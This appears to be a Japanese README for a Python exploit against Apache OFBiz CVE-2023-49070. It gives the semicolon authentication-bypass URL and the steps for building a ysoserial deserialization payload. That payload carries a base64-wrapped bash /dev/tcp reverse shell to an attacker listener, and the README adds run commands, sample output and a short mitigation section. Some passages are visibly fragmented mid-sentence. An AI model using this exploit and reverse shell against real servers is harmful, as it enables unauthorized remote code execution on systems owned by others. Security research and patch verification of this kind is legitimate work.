
Apache OFBiz CVE-2023-49070 の Python PoC: /webtools/control/xmlrpc における認証バイパスと、ysoserial ガジェットチェーンによる認証前デシリアライゼーション RCE の達成。
Apache OFBiz XML-RPC の認証前デシリアライゼーション RCE (CVE-2023-49070) の PoC: 認証バイパス経路により、レガシーな /webtools/control/xmlrpc エンドポイントが利用可能になり、XML-RPC の <serializable> パラメータ内に密輸された攻撃者制御の Java オブジェクトがデシリアライズされます。
⚠️ 認可されたセキュリティテスト専用。 自身が所有するシステム、または明示的にテストを認可されたシステム (CTF/ラボ環境、署名済みスコープのあるエンゲージメントなど) に対してのみ実行してください。コンピュータシステムへの不正アクセスは、ほとんどの法域で違法です。
Apache OFBiz の view-map 認証は通常、/webtools/control/xmlrpc を保護しています。影響を受けるバージョン (< 18.12.10) では、パスにセミコロンと特定のクエリパラメータを追加することで、このチェックをスキップさせることができます:
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
到達可能になると、このエンドポイントは XML-RPC リクエストを受け付けます。Apache XML-RPC の Java 実装は <serializable> 拡張型をサポートしています: この要素の内容は base64 デコードされ、そのまま ObjectInputStream.readObject() に渡されます — 典型的な安全でない Java デシリアライゼーションです。クラスパス上に適切なガジェットチェーンがあれば (この PoC はデフォルトで ysoserial 経由の CommonsBeanutils1 を使用)、これは OFBiz を実行している OS ユーザーとしてのリモートコマンド実行に直結します。
これは以前の OFBiz XML-RPC デシリアライゼーション CVE (例: CVE-2023-51467 の認証バイパスの兄弟) と同じバグファミリーです。OFBiz ではこのエンドポイントにおいて認証バイパス + デシリアライゼーションのペアというパターンが繰り返し発生しているため、この PoC に依存する前に、ターゲットに適用される正確な CVE/バージョン範囲を確認してください。
bash -i >& /dev/tcp/LHOST/LPORT 0>&1 のリバースシェルを構築し、base64 エンコードして、bash -c 'echo ... | base64 -d | bash' のワンライナーにラップします (実行チェーンの下流でのシェルメタ文字の破損を回避します)。ysoserial を呼び出して、そのワンライナーを実行するシリアライズ済みガジェットチェーン (デフォルトでは CommonsBeanutils1、設定可能) を構築します。<serializable> ペイロードにラップします。TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y に POST します。No such service) が含まれているかどうかを示します — これはペイロードが処理されたシグナルであり、コード実行の証明ではありません。シェルを取得できたかどうかは確認できません — デシリアライゼーションが実行されると、OFBiz はどちらの場合でも一般的なエラーを返します (XML-RPC メソッド自体 Dns は実際のサービスとして存在しません)。常にリスナーを起動しておき、スクリプトのコンソール出力だけでなくリスナーを確認してください。
pip install requests --break-system-packagesysoserial-all.jar — frohoff/ysoserial から自分でビルドする (mvn clean package -DskipTests) か、リリース jar を入手してください。ここには同梱されていません — 独自のライセンスを持つ大規模なサードパーティツールです。python3 ofbiz_xmlrpc_rce.py \
--target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar
まずリスナーを起動します:
nc -lvnp 4444
CommonsBeanutils1 は OFBiz の定番の選択です (クラスパスに commons-beanutils が同梱されています) が、うまくいかない場合、OFBiz にバンドルされているライブラリは他のチェーンもサポートしています。--gadget を差し替えるだけです:
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar \
--gadget CommonsCollections6
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
This is a signal the gadget chain executed, not proof of a shell.
[*] Check your listener: nc -lvnp 4444
/webtools/control/xmlrpc を無効化または制限する — webtools コンポーネントは一般的に攻撃対象となるため、強い理由がない限りインターネットに公開すべきではありません。; トリックを共有しています。ObjectInputFilter、JEP 290 / Java 9+ 以降で利用可能) を使用して、どのエンドポイントがデシリアライゼーションをトリガーするかに関係なく、既知のガジェットチェーンクラスがインスタンス化されるのをブロックします。<serializable> 要素を含む */control/xmlrpc* への POST、OFBiz ホストからの予期しない外向き接続、OFBiz を実行している Java プロセスから生成された子プロセス。MIT — LICENSE を参照してください。
| Flag | Default | Description |
|---|
--target | (required) | ターゲットのベース URL、例: https://ofbiz.target.tld |
--lhost | (required) | リスナーの IP |
--lport | (required) | リスナーのポート |
--ysoserial | ysoserial-all.jar | ysoserial jar へのパス |
--gadget | CommonsBeanutils1 | 使用する ysoserial ガジェットチェーン |
--java-bin | java | 呼び出す Java バイナリ |
--timeout | 15 | HTTP リクエストのタイムアウト (秒) |
--proxy | (none) | オプションの HTTP(S) プロキシ、例: Burp 経由でのルーティング用 |